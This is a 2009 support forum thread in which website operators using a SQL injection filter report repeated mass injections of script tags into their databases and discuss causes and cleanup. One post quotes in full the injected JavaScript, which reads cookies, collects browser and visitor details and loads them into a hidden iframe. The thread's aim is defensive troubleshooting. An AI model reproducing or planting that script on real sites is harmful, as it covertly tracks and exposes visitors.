Injections still succeed...

Jan 16, 2009 at 1:48 PM

Our website's been using your sql injection isapi filter and I gotta say it saved us alot of headaches, up til a couple days ago. Seems they have been able to inject again now, even with the isapi filter on. They seem to insert <script src=http://></script> which leads me to think that they are still trying it out, and it seems they are only injecting them in certain tables.

The IIS logs do not show anything so it leads me to think they are using input forms instead of straight through the URL.

I was wondering if anyone noticed that. They aren't injecting anything 'malicious' right now, but they are breaking part of the website everytime they do that, and it's only a matter of time until they move to something more serious.

Thank you for your help.

FYI, using the Injection wildcard version 2.0, was using the 1.5 before and it was also doing it on that version.

IIS version is 7. Works perfectly on IIS7 btw :)
Jan 16, 2009 at 4:30 PM

Hi Scossette,

The filter prevents SQL Injections but it does not care for HTML injections (which might be the case here). HTML Injections are a nuisanse, but harmless for the database.

If you are using version 2.0, you can turn on the log verbose and see exactly the kind of injection they are trying. Post it here and I will consider ading some HTML injection prevention. From your message I am not sure if SQL Injection had passed through. If so, please let me know which and I will fix it appropriately. But I cannot imagine how a SQL Injection can pass in the current version.

I never tested in IIS7. Thanks for the heads up.

Jan 16, 2009 at 5:04 PM
By HTML injection, you mean....?

They insert the <script=http://></script> in random columns (or maybe select columns?) of most tables in the database, so I'm not too sure how exactly they are doing it.

I'm using version 2.0, but have no exception used, and yeah I'll enable logging. Thanks for the answer.

I am still searching as to how they are putting this in, but it's not through an URL string or it would show in IIS's log files.
Jan 16, 2009 at 5:18 PM

Hi Scossette,


Let me explain you how this is being inserted in the tables without SQL Injection. Let's suppose you have a field like name that is filled from a asp field. And you do the following:


Name: -> The person enter: "<script=http://></script>". You will save the value "<script=http://></script>" in the name field of your table. This will not disrupt your database, but it will include an undesired HTML script.

Jan 16, 2009 at 5:25 PM
Edited Jan 16, 2009 at 5:27 PM
Okay let's simulate a member table, that has the id (auto-incremented, KEY), username, first_name and last_name columns. The table contains over 200000 records. One user puts <script=http://></script> in his first_name field (Through a web form, on the website) at the end, how does that then replicate to every single client?

Lemme rephrase, I got a form that then updates the user record with the new first_name, how does it replicate to every single user?

Sorry if I sound a bit strange, french canadian here, trying to formulate my questions right :)
Jan 16, 2009 at 5:37 PM

Hi Scossette,

If it replicates in all records, it sounds strange. If there is no change an "UPDATE" modifies more than one record (if you are using LIKE '%something%' in your code, for example), I am curious to see what it may be causing the problem. I will work with you on identifying this problem. If we need online engagement I can work something out.

For now I suggest you to check the code that deals with this table to see if there's something that may lead to this replication (use of LIKE or WHERE leading to more than one record). Please turn the log on and let's see if we can catch the problem. If you wish you can use the contact form in Codeplex to send me the code that deals with the table and I will analyze them.




Jan 16, 2009 at 5:44 PM
Edited Jan 16, 2009 at 6:07 PM
Well see that's the funny thing. Because it modifies multiple tables...

For the contact that's fine, I'll send you a contact form through codeplex, we can talk however you want, I will fully collaborate with you.

EDIT: Sent.
Jan 17, 2009 at 9:15 PM
Just got injected again. Except this time, they used a different string: <script src=></script> meaning this might start to go full blown.

The script's code: (Hopefully it's okay to post it here)

function y_gVal(iz){var endstr=document.cookie.indexOf(";",iz);if(endstr==-1) endstr=document.cookie.length;return document.cookie.substring(iz,endstr);}function y_g(name){var arg=name+"=";var alen=arg.length;var clen=document.cookie.length;var i=0;var j;while(i<clen) {j=i+alen;if(document.cookie.substring(i,j)==arg) return y_gVal(j);i=document.cookie.indexOf(" ",i)+1;if(i==0) break;}return null;}function cc_k(){var y_e=new Date();var y_t=93312000;var yesvisitor=1000*36000;var yesctime=y_e.getTime();y_e.setTime(y_e.getTime()+y_t);var yesiz=document.cookie.indexOf("cck_lasttime");if(yesiz==-1){document.cookie="cck_lasttime="+yesctime+"; expires=" + y_e.toGMTString() +  "; path=/";document.cookie="cck_count=0; expires=" + y_e.toGMTString() +  "; path=/";return 0;}else{var y_c1=y_g("cck_lasttime");var y_c2=y_g("cck_count");y_c1=parseInt(y_c1);y_c2=parseInt(y_c2);y_c3=yesctime-y_c1;if(y_c3>yesvisitor){y_c2=y_c2+1;document.cookie="cck_lasttime="+yesctime+"; expires="+y_e.toGMTString()+"; path=/";document.cookie="cck_count="+y_c2+"; expires="+y_e.toGMTString()+"; path=/";}return y_c2;}}var yesdata;yesdata='&refe='+escape(document.referrer)+'&location='+escape(document.location)+'&color='+screen.colorDepth+'x&resolution='+screen.width+'x'+screen.height+'&returning='+cc_k()+'&language='+navigator.systemLanguage+'&ua='+escape(navigator.userAgent);document.write('<iframe MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no src='+yesdata+' height=0 width=0></iframe>');document.write("");

Note that the ISAPI filter logged nothing, as well as the IIS logs.
Jan 17, 2009 at 9:46 PM

Seems it's a new attack too...
Jan 19, 2009 at 7:02 PM
Just an update, Seems that website was on the same datacenter as ours. So we contacted our datacenter and they fixed their website which seems to have also stopped the attacks (Maybe the system was hijacked?)

So as of right now, the website hasn't been reinjected since. Still renders me nervous, as it's only a matter of time until the same guy decides to pull an encore.
Jan 30, 2009 at 7:22 PM
Yep injected again. And seems more and more people are getting attacked too.

Jan 31, 2009 at 3:18 AM

I had added you in the IM since you sent me the e-mail, but it seems you did not accepted. Accept my user and we can see what's happening.

I have a theory:
1. They first insert the script in the database using a field like name or address for example
2. When you render the filter (like in a table reponse.write("<td>" & name & "<td>") you insert the script.
3. The script change " " for ";" for hereforth and it enable further injection which is not logged by IIS or ISAPI filter since ";" is not in the injection.

I'd like to see if my theory is right. If so, I can modify the ISAPI to also filter script injection for which it was not designed to.



Jan 31, 2009 at 3:57 PM
Didn't get any friend invites. MSN's this way sometimes.

I'm gonna send you another e-mail. You might have added the wrong email to MSN ;)
Mar 5, 2009 at 7:36 PM
Hi, Any luck with figuring this out?  While i'm not using the particular isapi filter you are here.  I'm experiencing this new form of injection that my filters are not picking up (only recently like you, it has blocked everything up until this point).  While at first they were inserting the script with the "Allspaces" domain which wasn't harmfull because it was a dead link.  Though now they are using "" which does host the malicous "z.js" file.  Any information you came up with would help.

Mar 5, 2009 at 8:04 PM
Yeah, well, kindof.

Me and Rodney worked on this, and he made a small change to his filter, which seems to work for now.

Send me an email via the website's contact form (Click on my username), just in case they look at these forums, ill email you the new DLL.

(BTW, it's a modified version of the 2.0 filter, so if you are still running 1.0, install 2.0 first)
Apr 4, 2009 at 9:10 PM
Thought I'd give an update.

We just got injected again. This time it was just a simple <script src=http://></script> injection, so I got an idea.... I enabled error 500 error tracing in IIS7 for ASP hoping we'll get some hints, I'll forward any informations I get here.
Apr 7, 2009 at 7:32 AM
My whole website's tables have been injected with this code

<script src=http://></script>

Not only on the tables updated from the frontend, but in tables managed only by the backend.

I have been using the same scripts to manage the site which worked perfectly ok in access db. I migrated to SQL server like 10 days ago and worked ok until two days ago when I realized my entire database has been screwed.

Can you advise on how to fix that ? My site is hosted in 1and1. They say this is a hole in my script and I need to solve it myself. I have no access to the SQL logs or so like for trying to see what's causing the error. And if I have to check each single query on my site that is updating ;/ inserting data like for detecting what caused the whole site being filled out with crap, I don't think I'll be able to identify what I'm doing like for this to happen.

For the time being I exported my database to a bak file which I am not editing to replace all <script src=http://></script> by NOTHING, will then save that / re-import it again. Hope that solves the problem "for now"

I look forward to hearing back from you.


Apr 7, 2009 at 2:23 PM
Edited Apr 7, 2009 at 2:28 PM
Here's how I fix that.

1- Run this on your database:

EDIT: Dang, seems codeplex doesn't like to have SQL typed in... Contact me through Codeplex with the email form and I'll send you the script by email.

That'll generate another SQL script that will replace the erased fields in your database. NOTE: It does mistakes sometimes so you might have to edit some parts manually (Hope you got a bit of SQL knowledge).

Then, run the generated SQL script. Save that last generated SQL script into a notepad txt file, it might come in handy in the future if this happens again, all you gotta do is mass replace the <script src=http://></script> parts in the text file with whatever you got injected with.

Hope this helps.